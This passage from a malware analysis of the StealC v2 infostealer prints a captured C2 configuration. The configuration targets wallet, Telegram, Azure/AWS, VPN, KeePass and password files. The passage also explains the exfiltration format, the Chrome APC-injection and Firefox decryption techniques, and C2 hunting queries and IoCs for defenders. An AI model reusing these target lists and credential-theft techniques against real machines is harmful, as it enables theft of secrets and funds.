"start_path": "\\Guarda\\IndexedDB\\https_guarda.co_0.indexeddb.leveldb\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Guarda Desktop\\Local Storage\\leveldb",
"type": 1,
"csidl": 1,
"start_path": "\\Guarda\\Local Storage\\leveldb\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Telegram",
"type": 3,
"csidl": 1,
"start_path": "\\Telegram Desktop\\",
"masks": "key_datas,map*,A7FDF864FBC10B77*,D877F783D5D3EF8C*,A92DAA6EA6F891F2*,F8806DD0C461824F*",
"recursive": true,
"max_size": 0,
"iterations": 10
},
{
"name": "Azure\\.azure",
"type": 3,
"csidl": 3,
"start_path": "\\.azure\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Azure\\.aws",
"type": 3,
"csidl": 3,
"start_path": "\\.aws\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Azure\\.IdentityService",
"type": 3,
"csidl": 3,
"start_path": "\\.IdentityService\\",
"masks": "msal.cache",
"recursive": false,
"max_size": 0,
"iterations": 1
},
{
"name": "OpenVPN",
"type": 3,
"csidl": 1,
"start_path": "\\OpenVPN Connect\\profiles\\",
"masks": "*ovpn*.*,*.*ovpn*",
"recursive": true,
"max_size": 0,
"iterations": 5
},
{
"name": "ProtonVPN",
"type": 3,
"csidl": 0,
"start_path": "\\ProtonVPN\\",
"masks": "user.config",
"recursive": true,
"max_size": 0,
"iterations": 5
},
{
"name": "DESK",
"type": 2,
"csidl": 2,
"start_path": "",
"masks": "*.txt,*.docx,*.xlsx",
"recursive": true,
"max_size": 10,
"iterations": 0
},
{
"name": "DOC",
"type": 2,
"csidl": 4,
"start_path": "",
"masks": "*.txt,*.docx,*.xlsx",
"recursive": true,
"max_size": 10,
"iterations": 0
},
{
"name": "REC",
"type": 2,
"csidl": 3,
"start_path": "\\Recent\\",
"masks": "*.txt,*.docx,*.xlsx",
"recursive": true,
"max_size": 10,
"iterations": 0
},
{
"name": "DESK",
"type": 2,
"csidl": 2,
"start_path": "",
"masks": "*exodus*,*ledger*,*wallet*,*backup*,*recover*,*metamask*,*cuentas*,*passwords*,*crypto*,*UTC--*.*",
"recursive": true,
"max_size": 1500,
"iterations": 0
},
{
"name": "DOCS",
"type": 2,
"csidl": 4,
"start_path": "",
"masks": "*exodus*,*ledger*,*wallet*,*backup*,*recover*,*metamask*,*cuentas*,*passwords*,*crypto*,*UTC--*.*",
"recursive": true,
"max_size": 1500,
"iterations": 0
},
{
"name": "REC",
"type": 2,
"csidl": 3,
"start_path": "\\Recent\\",
"masks": "*exodus*,*ledger*,*wallet*,*backup*,*recover*,*metamask*,*cuentas*,*passwords*,*crypto*,*UTC--*.*",
"recursive": true,
"max_size": 1500,
"iterations": 0
},
{
"name": "NOTEPAD",
"type": 2,
"csidl": 1,
"start_path": "\\Notepad++\\",
"masks": "*.xml",
"recursive": true,
"max_size": 10,
"iterations": 0
},
{
"name": "NOTEPAD",
"type": 2,
"csidl": 2,
"start_path": "\\Notepad++\\backup\\",
"masks": "*.*",
"recursive": true,
"max_size": 50,
"iterations": 0
},
{
"name": "SUBLIME",
"type": 2,
"csidl": 1,
"start_path": "\\Sublime Text 3\\Local\\Session.sublime_session\\",
"masks": "*.sublime_*",
"recursive": true,
"max_size": 10,
"iterations": 0
},
{
"name": "KEEPASS",
"type": 2,
"csidl": 1,
"start_path": "\\KeePass\\",
"masks": "*.kdbx",
"recursive": true,
"max_size": 1000,
"iterations": 0
}
]
}
The “block” opcode is triggered when the HWID or IP address is in the blocklist or is duplicated on the server side.
Interestingly enough, the stealer developer claimed that the C2 communication is encrypted with the RC4 algorithm, but in the backend — the RC4 encryption logic is commented out, which explains why we are seeing the simple Base64-encoding. Credit goes to @iamaachum for finding the StealC v2 panel installer, which confirms a lot of our findings.
The function below locates specific parameters in the response from the C2. The C2 server sends configuration as structured data in JSON. StealC then parses each parameter and stores values in designated memory locations, it then references these stored values to determine the next steps.
StealC Configuration Parameters
| Category | Parameter | Type | Description |
|---|---|---|---|
| Response Validation | opcode | String | Verifies response validity |
| Response Validation | success/blocked | String | Determines if stealer continues execution |
| Authentication | access token | String | Authentication token for future C2 communications |
| Execution Control | self-delete | Boolean | Controls whether stealer deletes itself after execution |
| Execution Control | loader | Boolean | Controls downloading and executing additional payloads |
| Data Collection | take_screenshot | Boolean | Enables screen capture functionality |
| Data Theft Targets | steal_steam | Boolean | Targets Steam platform data (credentials, game info) |
| Data Theft Targets | steal_outlook | Boolean | Targets Microsoft Outlook email data |
| Collection | browsers | Array/Object | Specifies which browsers to target and what data to extract |
| Collection | plugins | Array/Object | Defines cryptocurrency wallet extensions to target |
| Collection | files | Array/Object | Lists specific files or file types to search for and exfiltrate |
Browser Object Parameters
| Parameter | Type | Description |
|---|---|---|
| name | String | Browser name identifier |
| path | String | Relative path to the browser’s data directory |
| type | Integer | Browser engine type (1=Chromium, 2=Opera, 3=Firefox) |
| soft_path | String | Absolute path to the browser executable |
| use_v80 | Boolean | Flag for Chrome v80+ special handling |
| parse_cookies | Boolean | Enable extraction of browser cookies |
| parse_logins | Boolean | Enable extraction of saved passwords |
| parse_history | Boolean | Enable extraction of browsing history |
| parse_webdata | Boolean | Enable extraction of autofill data |
Plugin Object Parameters
For each wallet extension, the configuration specifies the unique extension token ID, whether to extract from local storage, to extract from sync storage, or to extract from IndexedDB storage.
| Parameter | Type | Description |
|---|---|---|
| name | String | Wallet extension name |
| token | String | Extension ID in the browser |
| from_local | Boolean | Extract data from local storage |
| from_sync | Boolean | Extract data from sync storage |
| from_IndexedDB | Boolean | Extract data from IndexedDB storage |
File Targeting Parameters
CSIDL (Common Special Item ID List) values that define which folders on a victim’s system should be targeted for file scanning:
- %LOCALAPPDATA%\ (value 0)
- %APPDATA%\ (value 1)
- %DESKTOP%\ (value 2)
- %USERPROFILE%\ (value 3)
- %DOCUMENTS%\ (value 4)
- %PROGRAMFILES%\ (value 5)
- %PROGRAMFILES_86%\ (value 6)
| Parameter | Type | Description | Purpose |
|---|---|---|---|
| csidl | Integer | Windows CSIDL folder identifier | Specifies which system folder to target |
| start_path | String | Starting directory path for search | Base path to begin file scanning |
| masks | Array/String | File masks or patterns to match | Determines which files to target |
| recursive | Boolean | Whether to scan subdirectories | Controls the depth of file system traversal |
| max_size | Integer | Maximum file size to collect (KB) | Prevents collection of overly large files |
| iterations | Integer | Number of scan iterations or depth | Controls breadth of scanning operation |
Upon sending files to the C2 server, the type is “upload_file”:
{"access_token": "b6de4c8e85bb0ddbc6778a9e5555281e15720a5126c4f8a828ac8b34df7f6b376da04f93", "data" : "TmV0d29yayBJbmZvOgo ","filename" : "c3lzdGVtX2luZm8udHh0", "type" : "upload_file"}
Each response from C2 contains dynamic values, for example, “8349eb35dff”:”8f723bae6622”, which appears to be a form of session identification.
The function below implements a data chunking system that divides large files into manageable pieces (approximately 512KB each), allowing the stealer to reliably exfiltrate large browser databases without overwhelming network connections or triggering security alerts with unusually large data transfers. For each chunk, the function creates a structured JSON payload containing the file identification information (e.g. extracted from browser files), chunk metadata including
“part_index” (current chunk number) and “total_parts” (total number of chunks).
Browser Data Decryption
As mentioned previously, the stealer decrypts Firefox passwords and cookies directly within the binary itself, rather than exfiltrating encrypted data to the C2 server for decryption and, unlike the previous version of the stealer, it doesn’t retrieve any dependencies from the C2 server anymore.
It first modifies the system’s PATH environment variable by adding directories where Firefox is commonly installed (like “C:\Program Files\Mozilla Firefox”). By adding these locations to the PATH, the stealer can find and load the NSS3.dll library using a simple LoadLibraryA call.
After it locates the necessary libraries, the stealer loads the NSS3.dll library and retrieves the addresses of critical decryption functions through GetProcAddress and then proceeds to obtain function pointers to several critical NSS functions through GetProcAddress. These functions include NSS_Init, NSS_Shutdown, PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, and PK11_SDR_Decrypt.
For Chrome versions prior to v80 (referred to as “v10” in the code), the stealer uses a straightforward decryption technique. It accesses Chrome’s “Login Data” SQLite database file, which contains encrypted credentials identifiable by the “DPAPI” signature. The stealer leverages Chrome’s pre-v80 implementation: passwords were encrypted using AES with a static, hardcoded key that remained consistent across all Chrome installations. This allows the stealer to directly decrypt the credentials without requiring additional system privileges or complex operations.
For Chrome v80+ credentials, the stealer leverages APC (Asynchronous Procedure Call) injection to bypass Chrome’s improved security model. The process begins by creating a suspended process using CreateProcessA with a path received from the caller (Chrome’s executable path). Once the process is created, the stealer allocates memory within this process using VirtualAllocEx, securing 153,088 bytes of executable memory, it then writes the custom embedded payload into this allocated memory using WriteProcessMemory. This payload contains the code necessary to interact with the Windows DPAPI and Chrome’s encryption mechanisms within the context of a legitimate Chrome process. The injected custom payload establishes a COM connection with Windows cryptographic services using CoCreateInstance and CoSetProxyBlanket, directly interfacing with DPAPI. It targets Chrome’s Local State file, extracts the encrypted master key, and leverages the COM interface to decrypt it, transmitting the result back to the main stealer process through a named pipe. The C2 server contains a PHP implementation that handles the standard cryptographic operations using AES-256-GCM to decrypt the credentials once it receives the master key from the client.
When targeting browser database files that may be in use by active browser processes, the stealer first creates a directory change notification using ReadDirectoryChangesW to monitor for file system events, then systematically enumerates and copies specific sensitive files such as “Login Data,” “Cookies,” “Web Data,” and “Local State.” For each database file, it attempts to copy it up to 10 times if initial attempts fail. The copied files are temporarily sent to C:\ProgramData.
When these browser database files are locked by active processes, the stealer leverages the Windows Restart Manager API (RmStartSession, RmRegisterResources, RmGetList) to identify which processes have locks on the target files. After identifying these processes, it opens them with OpenProcess and forcibly terminates them using TerminateProcess, effectively removing any locks on the files. This approach ensures that the stealer can access browser databases even when browsers are actively running.
C2 Hunting
You can leverage platforms such as Validin, FOFA, and Censys to find StealC2 version 2 infrastructure using the following queries:
- FOFA: fid=”VVO/09fqXkg8zzkjfF7aew==” (Credit to @g0njxa)
- Validin: body_hash=028ad738ff369741fa2f0074e49a0d8704521531 (Credit to @pancak3lullz)
- Censys:services.http.response.body=”html\n\n\n\n Not Found\n The requested URL was not found on this server.\n \n nginx/1.18.0 (Ubuntu)\n\n”
Detection
You can access the Yara rule here.
Indicators of Compromise
C2:
45[.]93[.]20[.]64
91[.]92[.]46[.]133
91[.]211[.]250[.]177
198[.]251[.]84[.]107
85[.]192[.]49[.]87
194[.]55[.]137[.]8
147[.]45[.]44[.]116
213[.]21[.]237[.]183
62[.]113[.]118[.]58
5[.]253[.]30[.]7
91[.]220[.]8[.]107
45[.]141[.]233[.]86
185[.]87[.]48[.]173
116[.]202[.]216[.]170
62[.]60[.]226[.]114
85[.]208[.]119[.]2
89[.]110[.]116[.]81
62[.]60[.]226[.]20
77[.]90[.]153[.]241
157[.]180[.]8[.]71
2[.]56[.]166[.]193
176[.]65[.]142[.]44
176[.]65[.]142[.]47
179[.]43[.]180[.]186
85[.]192[.]48[.]188
83[.]229[.]17[.]68
83[.]217[.]208[.]133
161[.]97[.]75[.]178
91[.]92[.]46[.]177
185[.]106[.]176[.]178
81[.]19[.]131[.]77
85[.]158[.]108[.]135
83[.]147[.]216[.]49
185[.]170[.]154[.]143
147[.]45[.]44[.]173
185[.]102[.]115[.]17
213[.]21[.]237[.]173
104[.]245[.]241[.]70
Payloads:
841d0ebecc7dc7b7e06433fcd0cbbec911fa127fee34bfc7c34c946f84aee1ef
8aefa989626374e451620567517cc8862478a770ec0f2da0a910f3f8b5495422
11bbbbdfa669520d5cb2f600656be4259e0256e220ba85175f1ffe84de064a00
d60f7f3a2b46c6231734618eeddab803c3f29d0bb44b1e90dbbbc9f355a40931
71bc74ec4778c88bb7d1f3980093475bfd98d973b09945d51dff588d4da0b695
6b638236003f92b54a83abd988b3a9f92bd58c0c7727a637bc0e191597a421ad
a1b2aecdd1b37e0c7836f5c254398250363ea74013700d9a812c98269752f385
f02986c8beb4ae23fd9c1e4d923a208b2afcb69811d52aed3dc85ad60badf472
bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97
Reference
https://x.com/g0njxa/status/1907402495690674224
https://github.com/RussianPanda95/Configuration_extractors/blob/main/stealc_decrypt_standalone.py
https://github.com/RussianPanda95/IDAPython/blob/main/StealC/stealc_idapython.py
https://x.com/iamaachum/status/1910135119215738912
https://x.com/g0njxa/status/1910366345809530929
https://github.com/RussianPanda95/Yara-Rules/blob/main/StealC/win_mal_StealC_v2.yar
Start the conversation